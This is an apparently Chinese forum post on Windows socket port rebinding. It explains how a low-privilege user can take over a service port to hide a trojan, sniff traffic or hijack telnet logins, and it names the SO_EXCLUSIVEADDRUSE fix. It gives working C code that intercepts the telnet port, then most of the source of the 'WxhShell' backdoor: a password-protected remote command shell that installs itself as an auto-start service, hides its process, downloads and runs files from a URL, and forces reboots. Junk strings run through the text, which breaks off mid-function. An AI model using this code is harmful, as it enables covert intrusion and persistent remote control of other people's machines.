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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f`ibP6%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SVVEb6&  
olQP>sa  
  saddr.sin_family = AF_INET; dn'|~zf.  
C"n!mr{srt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mQVlE__ub  
'['%b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^(  
J1(SL~e],  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y!]a*==  
{w3<dfJ  
  这意味着什么?意味着可以进行如下的攻击: mN{H^  
=fK F#^E@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G'_5UP!  
=:^f6"p&Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2\xEMec  
w}(Ht_6q{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6~8X/ -02  
G9c2kX.Bf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c~Z\|Y`#B  
G]>P!]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <K~mg<ff$  
Z7?- c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &G!2T!xx  
l$!g# ?w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @1peJJ{  
*| YR8f  
  #include rWzO> v  
  #include eRwm>l"fVV  
  #include 6%UhP;(  
  #include    ^sZ,(sc{G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9y&&6r<I  
  int main() Eh?,-!SUQn  
  { <<ifd?  
  WORD wVersionRequested; @D&}ZV=J  
  DWORD ret; ]bb`6 \h  
  WSADATA wsaData; 7S]akcT/  
  BOOL val; K.2l)aRd  
  SOCKADDR_IN saddr; oSqkAAGz\  
  SOCKADDR_IN scaddr; 73d7'Fw  
  int err; p7Q %)5o  
  SOCKET s; 6):^m{RH^  
  SOCKET sc; l?LP:;S  
  int caddsize; :f58JLX  
  HANDLE mt; ZA/:\6gm  
  DWORD tid;   =WP`i29j9}  
  wVersionRequested = MAKEWORD( 2, 2 ); `}9jvR5  
  err = WSAStartup( wVersionRequested, &wsaData ); zkRL'-  
  if ( err != 0 ) { !9JK95;  
  printf("error!WSAStartup failed!\n"); 7|eD}=jy  
  return -1; H- aSLc  
  } 8'X:}O/  
  saddr.sin_family = AF_INET; ~kAen  
   w st)O{4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h q& 2o  
`^7ARr/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 92HxZ*t7km  
  saddr.sin_port = htons(23); cfEi]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #=B~} _  
  { zf>r@>S!L  
  printf("error!socket failed!\n"); r6*~WM|Sq7  
  return -1; g0BJj=  
  } 406.6jmv  
  val = TRUE; T m0m$l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gqf*;Z eU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,3`RM $  
  { <U ?_-0  
  printf("error!setsockopt failed!\n"); ywRw i~  
  return -1; !wttKUO?  
  } pkR+H|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K;wd2/jmJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bQ" w%!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $m;rOKVU  
StP7t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) noBGP/Av=:  
  { aBO%qmtt  
  ret=GetLastError(); .WR+)^&zz  
  printf("error!bind failed!\n"); n^Qt !~  
  return -1; c?NXX&  
  } /k(KA [bS  
  listen(s,2); t9zF WdW  
  while(1) l 6;}nG  
  { ;@$B{/Q  
  caddsize = sizeof(scaddr); )PU?`yLTr  
  //接受连接请求 nSL x1Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W7a aL  
  if(sc!=INVALID_SOCKET) oD]riA>jC  
  { ^uu)|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P-?ya!@"  
  if(mt==NULL) Q_bF^4gt  
  { ,rB"ag !  
  printf("Thread Creat Failed!\n"); mE"?{~XVL  
  break; HY,+;tf2r  
  } |d* K'+  
  } IQFt4{aK3  
  CloseHandle(mt); 4wZ{Z 2w  
  } ab1qcQ<  
  closesocket(s); |(E.Sb  
  WSACleanup(); ==[a7|q  
  return 0; S?W!bkfn  
  }   qFo'"z`84  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0k?ph$  
  { ?G[<~J3-E  
  SOCKET ss = (SOCKET)lpParam; HeagT(rN'  
  SOCKET sc; KB$s7S"=  
  unsigned char buf[4096]; Nj2f?',;U  
  SOCKADDR_IN saddr; / -ebx~FX&  
  long num; %E95R8SL  
  DWORD val; g.v)qB  
  DWORD ret; +UxhSFU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }*{@-v|_R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V[R33NYG  
  saddr.sin_family = AF_INET; '1lr "}"Q+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &j\<UPn  
  saddr.sin_port = htons(23); cSYW)c|t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [TAW68f'  
  { _`>F>aP  
  printf("error!socket failed!\n"); 1nv#Ehorg  
  return -1; 4~Ptn/ g  
  } a1;P2ikuK  
  val = 100; -_bHLoI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TO.71x|  
  { 4WV'\R+m  
  ret = GetLastError(); )P:r;a'  
  return -1; yub|   
  } C3n_'O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $]4>;gTL'  
  { "HRoS#|\  
  ret = GetLastError(); -c-#1_X5  
  return -1; {*VCR  
  } MP|J 0=H5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q:I2\E  
  { `6KTQk'  
  printf("error!socket connect failed!\n"); bi:m;R  
  closesocket(sc); d\Xi1&&  
  closesocket(ss); $sDvE~f0n  
  return -1; !`8WNY?K  
  } )D ^.{70N  
  while(1) SST1vzm!  
  { 2ZMYA=[!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l0Myem v?z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h_K(8{1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <qD/ #$   
  num = recv(ss,buf,4096,0); ITj0u&H:  
  if(num>0) zGrUl|j  
  send(sc,buf,num,0); x0^O?UR  
  else if(num==0) i{8T 8  
  break; M)Iu'  
  num = recv(sc,buf,4096,0); O) ks  
  if(num>0) OR[6pr@  
  send(ss,buf,num,0); UGuEZ-r  
  else if(num==0) w%=GdA=  
  break; %G6ml,  
  } sY4sq5'!  
  closesocket(ss); y5_`<lFv  
  closesocket(sc); J/3qJst  
  return 0 ; ;[%_sVIy  
  } v,Lv4)  
> Y <in/  
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========================================================== p F\~T>  
TRwlUC3hQ  
下边附上一个代码,,WXhSHELL c"OBm#  
/\L|F?+@  
========================================================== VeO$n*O  
Jx ;" @  
#include "stdafx.h" ;Ee!vqD2  
qbjBN z  
#include <stdio.h> J+f .r|?  
#include <string.h> tx}} Kd  
#include <windows.h> uP<w rlW  
#include <winsock2.h> m1x7f% _  
#include <winsvc.h> Js7(TFQE  
#include <urlmon.h> m9bR %j  
Q3MG+@)S  
#pragma comment (lib, "Ws2_32.lib") E~?0Yrm F  
#pragma comment (lib, "urlmon.lib") dkTj KV  
jR-`ee}y2  
#define MAX_USER   100 // 最大客户端连接数 OgJd^  
#define BUF_SOCK   200 // sock buffer K;jV"R<9  
#define KEY_BUFF   255 // 输入 buffer =;DmD?nZ  
85; BS'  
#define REBOOT     0   // 重启 ^)ouL25Z*2  
#define SHUTDOWN   1   // 关机 7'wt/9  
!mNXPqnN  
#define DEF_PORT   5000 // 监听端口 cW B>  
TWF6YAQ m  
#define REG_LEN     16   // 注册表键长度 bJc<FL<E  
#define SVC_LEN     80   // NT服务名长度 % 1Y!|306  
_DPWp,k<~  
// 从dll定义API }7iWmXlI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @UCI^a~w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X`km\\*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y,{=*2Yt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N ]/ N}b  
Q 6djfEN>  
// wxhshell配置信息 Il(p!l<Xz#  
struct WSCFG { oBZ\mk L  
  int ws_port;         // 监听端口 tfzIem  
  char ws_passstr[REG_LEN]; // 口令 =zw=J p  
  int ws_autoins;       // 安装标记, 1=yes 0=no [J0f:&7\  
  char ws_regname[REG_LEN]; // 注册表键名 1Rlg%G'  
  char ws_svcname[REG_LEN]; // 服务名 Vfkm{*t)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ML6Y_|6 |  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N$1ZA)M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z~[:@mGl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yV=Ku  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y/}[S@4uB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E`#m0Q(8  
*|)a@V L  
}; yW::`  
32y GIRV  
// default Wxhshell configuration ~)5NX 4Po  
struct WSCFG wscfg={DEF_PORT, -$W#bqvz^  
    "xuhuanlingzhe", ^PwZP;On  
    1, L eg)q7n  
    "Wxhshell", 0$RZ~  
    "Wxhshell", )xJCH9h  
            "WxhShell Service", ZL!,s#  
    "Wrsky Windows CmdShell Service", q-7C7q  
    "Please Input Your Password: ", t8vR9]n  
  1, 5%H(AaG*q  
  "http://www.wrsky.com/wxhshell.exe", a%\6L  
  "Wxhshell.exe" _v~c3y).  
    }; MA}~bfB  
[bE-Uu7q5P  
// 消息定义模块 %6A."sePO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )OjTn"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kV >[$6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UB%Zq1D|t  
char *msg_ws_ext="\n\rExit."; w'Y(doY ,  
char *msg_ws_end="\n\rQuit."; 6I)[6R  
char *msg_ws_boot="\n\rReboot..."; U;SReWqU  
char *msg_ws_poff="\n\rShutdown..."; Vq8G( <77  
char *msg_ws_down="\n\rSave to "; c@SNbY4}%  
P{T\zT  
char *msg_ws_err="\n\rErr!"; VT>TmfN(I  
char *msg_ws_ok="\n\rOK!"; Q{+*F8%8V<  
U-F\3a;&  
char ExeFile[MAX_PATH]; m1pge4*  
int nUser = 0; }j+Af["W?  
HANDLE handles[MAX_USER]; *R'r=C`  
int OsIsNt; dh9Qo4-{  
B#Q` !B4v  
SERVICE_STATUS       serviceStatus; w\V1pu^6@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3(2WO^zX {  
7Shau%2C  
// 函数声明 W D/\f$4  
int Install(void); 'iY~F0U  
int Uninstall(void); P}`|8b1W  
int DownloadFile(char *sURL, SOCKET wsh); lw\+!}8(  
int Boot(int flag); .j et0w  
void HideProc(void); lF*}l  
int GetOsVer(void); }n Ea9h  
int Wxhshell(SOCKET wsl); %>p[;>jW  
void TalkWithClient(void *cs); 64LX[8Ax#  
int CmdShell(SOCKET sock); t]3> X  
int StartFromService(void); C33BP}c]  
int StartWxhshell(LPSTR lpCmdLine); "U"phLX  
2Kkm-#p7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~mF^t7n]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,59G6o  
pD@:]VP  
// 数据结构和表定义 ]KQv ]'  
SERVICE_TABLE_ENTRY DispatchTable[] = qix$ }(P  
{ "|Ke/0rGB  
{wscfg.ws_svcname, NTServiceMain}, vw'xmzgA  
{NULL, NULL} elqm/u  
}; t!8(IR  
U F&B7r  
// 自我安装 =ea'G>;[H  
int Install(void)  ?v z[Zi  
{ U#iGR5&^3  
  char svExeFile[MAX_PATH]; sSLV R^  
  HKEY key; cMfJq}C<  
  strcpy(svExeFile,ExeFile); +C}s"qrb@  
lC=-1*WH  
// 如果是win9x系统,修改注册表设为自启动 SHc?C&^S  
if(!OsIsNt) { KqL+R$??"(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  erQQ_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @+6cKP  
  RegCloseKey(key); c W1`[b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { | |u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b$eN]L   
  RegCloseKey(key); @CtnV|  
  return 0; ~eZ]LW])  
    } !gm@QO cF  
  } zNO,vR[\  
} DO 0  
else { Ihd{tmr<  
S l`F`  
// 如果是NT以上系统,安装为系统服务 [ KDNKK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +gyGA/5:d$  
if (schSCManager!=0) N}ugI`:  
{ -l~+cI\2  
  SC_HANDLE schService = CreateService ei82pLM z  
  ( DC~1}|B"  
  schSCManager, ]i/Bq!d l  
  wscfg.ws_svcname, nh]HEG0CZJ  
  wscfg.ws_svcdisp, +w2 `  
  SERVICE_ALL_ACCESS, hRNnj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gn%"B6  
  SERVICE_AUTO_START, q`|rS6  
  SERVICE_ERROR_NORMAL, O'{g{  
  svExeFile, oO^=%Mc(  
  NULL, 1=_Qj}!1  
  NULL, 3>6rO4,  
  NULL, r+ usMF<'  
  NULL, oh7tE$"c  
  NULL n#5S-z1KNw  
  ); h-]c   
  if (schService!=0) ,FwJ0V  
  { IAJ+n0U  
  CloseServiceHandle(schService); `|<? sjY  
  CloseServiceHandle(schSCManager); v"l8[::  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RB9ZaL\  
  strcat(svExeFile,wscfg.ws_svcname); P7epBWqDP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P VSz%"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )S`=y-L$  
  RegCloseKey(key); %R<xe.X  
  return 0; 9 /=+2SZ  
    } RgVnx]IF  
  } ><qA+/4]_  
  CloseServiceHandle(schSCManager); c=D~hzN  
} yUN>mD-  
} k#-%u,t  
q<K/q"0-l  
return 1; P9x':I$  
} (3Z;c_N  
Y(Y#H$w  
// 自我卸载 K,,'{j2#f  
int Uninstall(void) =&)R2pLs*  
{ <b?$-Rx  
  HKEY key; t)mc~M9w  
L9]d$ r"  
if(!OsIsNt) { TUARYJ6=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >2ha6A[  
  RegDeleteValue(key,wscfg.ws_regname); z 'V$)U$f  
  RegCloseKey(key); 2$'bOo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  7gx?LI_e  
  RegDeleteValue(key,wscfg.ws_regname); VI-6t"l  
  RegCloseKey(key); z3{Cp:Mn  
  return 0; XRTiC #6  
  } g""Ep  
} *-S?bv,T'  
} yG;@S8zC  
else { \}!/z]u  
j9X|c7|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,20l` :  
if (schSCManager!=0) j.[W] EfL~  
{ &UNQ4-s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yY]E~  
  if (schService!=0) p(fMM :  
  { P&yB(M-z  
  if(DeleteService(schService)!=0) { ;0`IFtz  
  CloseServiceHandle(schService); VB`% u=  
  CloseServiceHandle(schSCManager); c& K`t  
  return 0; AY;[v.Ff4  
  } IG:2<G  
  CloseServiceHandle(schService); M@Ti$=  
  } 5vLA)Al3  
  CloseServiceHandle(schSCManager); <+<Nsza  
} %j2$ ezud  
} W0}FOfL9  
T=RabKVYP  
return 1; zZP/C   
} ;%k C?Vzi  
TM|PwY  
// 从指定url下载文件 d%RH]j4  
int DownloadFile(char *sURL, SOCKET wsh) i5|)|x3  
{ ]]e>Jym  
  HRESULT hr; 6J">@+  
char seps[]= "/"; aMVq%{U  
char *token; |9p0"#4u  
char *file; @ 2On`~C`  
char myURL[MAX_PATH]; 4P"XT  
char myFILE[MAX_PATH]; y.s\MWvv>u  
drvrj~o:  
strcpy(myURL,sURL); x&"P^gh)  
  token=strtok(myURL,seps); JcMl*k  
  while(token!=NULL) EB@rIvUi,  
  { \}X[0ct2!  
    file=token; =pTTXo  
  token=strtok(NULL,seps); jp1e3 Cg  
  } ;/kmV~KG  
"rfBYl`  
GetCurrentDirectory(MAX_PATH,myFILE); \cf'Hj}  
strcat(myFILE, "\\"); -s1.v$ g  
strcat(myFILE, file); nrX+  '  
  send(wsh,myFILE,strlen(myFILE),0); >&k`NXS|V  
send(wsh,"...",3,0); LFr$h`_D5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LFZ*mRiuKE  
  if(hr==S_OK) $*LBZcL  
return 0; !6z{~Z:   
else |68u4zK  
return 1; YK5(oKFN  
jc\y{I\  
} )o-mM tPj  
1=C<aRZ b^  
// 系统电源模块 Mz86bb^J  
int Boot(int flag) ~ Nf|,{[(5  
{ TA qX f_  
  HANDLE hToken; |n^rI\ p%  
  TOKEN_PRIVILEGES tkp; Pc7p2  
Do5.  
  if(OsIsNt) { kP5G}Bp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W$`#X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1o_6WU  
    tkp.PrivilegeCount = 1; /{[p?7x>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iq^;csyKb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =+I-9=  
if(flag==REBOOT) { `M. I.Z_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g#Ta03\  
  return 0; M{jq6c  
} -yTIv* y  
else { y~wr4Q=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _ n1:v~  
  return 0; D;jbZ9  
} #!%zf{(C+  
  }  ls7P$qq  
  else { ;t,v/(/3  
if(flag==REBOOT) { ;*ULrX4[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?STO#<a  
  return 0; '#e T  
} g}uSIv^  
else { x8~*+ j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E H%hL5(  
  return 0; JAI.NKB3  
} D*?LcxX  
} c@)?V>oe  
w`3.wALb  
return 1; 8V9OMOt!  
} i}i >ho-8  
UO!} 0'  
// win9x进程隐藏模块 oA7|s1  
void HideProc(void) ?r5a*  
{ rKd|s7l  
VeZd\Oe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q<ia  
  if ( hKernel != NULL ) +Ar4X-A{y  
  { " vc4QH$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X8?@Y@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J#t8xL  
    FreeLibrary(hKernel); %+;l|Z{Uf  
  } dK,=9DQy5  
9 `q(_\x  
return; Ro<x#Uo  
} jp@X,HES  
Aayd3Ph0%  
// 获取操作系统版本 8G|?R#&  
int GetOsVer(void) 6d2e WS  
{ 8 Gy*BpmJn  
  OSVERSIONINFO winfo; +>Gw)|oX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w(t1m]pF[  
  GetVersionEx(&winfo); Q)qJ6-R|HD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D/%v/mpj$  
  return 1; E}a.qM'  
  else ?i\V^3S n$  
  return 0; F$kiSjh9aJ  
}  w}t}Sh  
6Yt3Oq<U  
// 客户端句柄模块 0Js5 ' 9}H  
int Wxhshell(SOCKET wsl) "wKJ8  
{ riaL[4c  
  SOCKET wsh; ,1lW`Krx  
  struct sockaddr_in client; !W0JT#0  
  DWORD myID; {#`wW`U^  
O:RN4/17  
  while(nUser<MAX_USER) ~| ZAS]  
{ >r,z^]-  
  int nSize=sizeof(client); )`\Q/TMl5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )J+rt^4|  
  if(wsh==INVALID_SOCKET) return 1; kApDD[ N  
i.?rom  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5nceOG8  
if(handles[nUser]==0) q D=b+\F  
  closesocket(wsh); P 6ka'!z  
else o_kZ  
  nUser++; O*,O]Q  
  } \VW":+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )"M;7W?R0  
T('rM :)/  
  return 0; rwh 4/h^S  
} d/$e#8  
Q^l!cL| {  
// 关闭 socket HJpx,NU'  
void CloseIt(SOCKET wsh) .RmoO\ ,Gm  
{ YZnFU( j  
closesocket(wsh); V2@( BliP  
nUser--; }XpZgd$  
ExitThread(0); l ^}5PHLd  
} ?>vkY^/  
* 0JF|'  
// 客户端请求句柄 ymqn1ja1  
void TalkWithClient(void *cs) <4/q5*&  
{ X`eX+9  
qvhG ^b0h  
  SOCKET wsh=(SOCKET)cs; 4Sdj#w  
  char pwd[SVC_LEN]; d0zp89BEn  
  char cmd[KEY_BUFF]; np}0O  X  
char chr[1]; ,,#6SR(n  
int i,j; N#R8ez`  
Ip8:~Fl]  
  while (nUser < MAX_USER) { QAY:H@Gt:  
dI=&gz  
if(wscfg.ws_passstr) { pXh`o20I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,MHF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [<f9EeziB  
  //ZeroMemory(pwd,KEY_BUFF); P(C5@x(Z  
      i=0; 5C*- v,hF  
  while(i<SVC_LEN) { BI!EmA  
G[OJ <px  
  // 设置超时 s(L!]d.S$y  
  fd_set FdRead; 6vJ S"+ <  
  struct timeval TimeOut; j^f54Ky.  
  FD_ZERO(&FdRead); Uz]=`F8  
  FD_SET(wsh,&FdRead); :inVwc  
  TimeOut.tv_sec=8; [?2?7>D8  
  TimeOut.tv_usec=0; PBiA/dG[;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  5pHv5e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s,Fts3+  
vn@sPT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0}9jl  
  pwd=chr[0]; .&>3nu  
  if(chr[0]==0xd || chr[0]==0xa) { wp:Zur5Y  
  pwd=0; 2G3Hi;q18  
  break; /WX&UAG  
  } PVmePgF   
  i++; :kjs: 6f]  
    } 9u3P>a~b  
v+<4?]EJ  
  // 如果是非法用户,关闭 socket E^pn-rB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?PV@WrU>B  
} C 8d9 (u  
KyqP@ {  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5.kKg=a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @;S)j!m`  
!rG-[7K  
while(1) { _C'VC#Sy  
'"'RC O  
  ZeroMemory(cmd,KEY_BUFF); d$Y_vX<  
[8K :ml  
      // 自动支持客户端 telnet标准   Np/vPaAk  
  j=0; F_4Et  
  while(j<KEY_BUFF) { l+X\>,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  2IGU{&s  
  cmd[j]=chr[0]; 7OS i2  
  if(chr[0]==0xa || chr[0]==0xd) { XWq"_$&LF  
  cmd[j]=0; f>3)}9?xc}  
  break; {CNJlr@z  
  } <qEBF`XP=  
  j++; .K`n;lVs  
    } ~ H/ZiBL@  
G\^<MR|  
  // 下载文件 [70 5[  
  if(strstr(cmd,"http://")) { &>QxL d#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c;zk{dP   
  if(DownloadFile(cmd,wsh)) cvhwd\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v5U'ky :  
  else +wQ}ZP&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !!w(`kmn1  
  } s!>9od6^  
  else { IreY8.FND  
R~fk/T?  
    switch(cmd[0]) { iSg0X8J)  
  MU\Pggs  
  // 帮助 Wu(^k25  
  case '?': { g:GywX W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G;EJ\J6@Yw  
    break; oJ`=ob4WDo  
  } eZ-fy,E  
  // 安装 e,lLHg  
  case 'i': { 5(E&jKn&  
    if(Install()) Of-xGo YZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PN:`SWP  
    else ck3+A/ !z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;%^{Zybh  
    break; 6a_U[-a9;  
    } KWAd~8,mk  
  // 卸载 pZ3sp!  
  case 'r': { ~*<`PDO?  
    if(Uninstall()) 9)o@d`*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F w t  
    else )jg*u}u 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQ9W40g1  
    break; [Q J  
    } A1`6+8}o;b  
  // 显示 wxhshell 所在路径 } #L_R  
  case 'p': { x%HxM~&  
    char svExeFile[MAX_PATH]; )+=Kh$VbS  
    strcpy(svExeFile,"\n\r"); j+{cc: h"X  
      strcat(svExeFile,ExeFile); 8#- Nx]VM  
        send(wsh,svExeFile,strlen(svExeFile),0); 9yWf*s<  
    break; b{{ H@LTW  
    } "Z;({a$v  
  // 重启 HavlN}h  
  case 'b': { k;2.g$)W[c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uOy/c 8`  
    if(Boot(REBOOT)) 0a#v}w^ *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -.ZP<,?@F  
    else { q9{)nU  
    closesocket(wsh); MI^$df  
    ExitThread(0); j(]O$""  
    } HW,v"  
    break; ;134$7!Y  
    } +zq"dj_  
  // 关机 (Z[c7  
  case 'd': { /h.{g0Xc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -1d*zySL  
    if(Boot(SHUTDOWN)) )b>misb/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _~ei1 G.R  
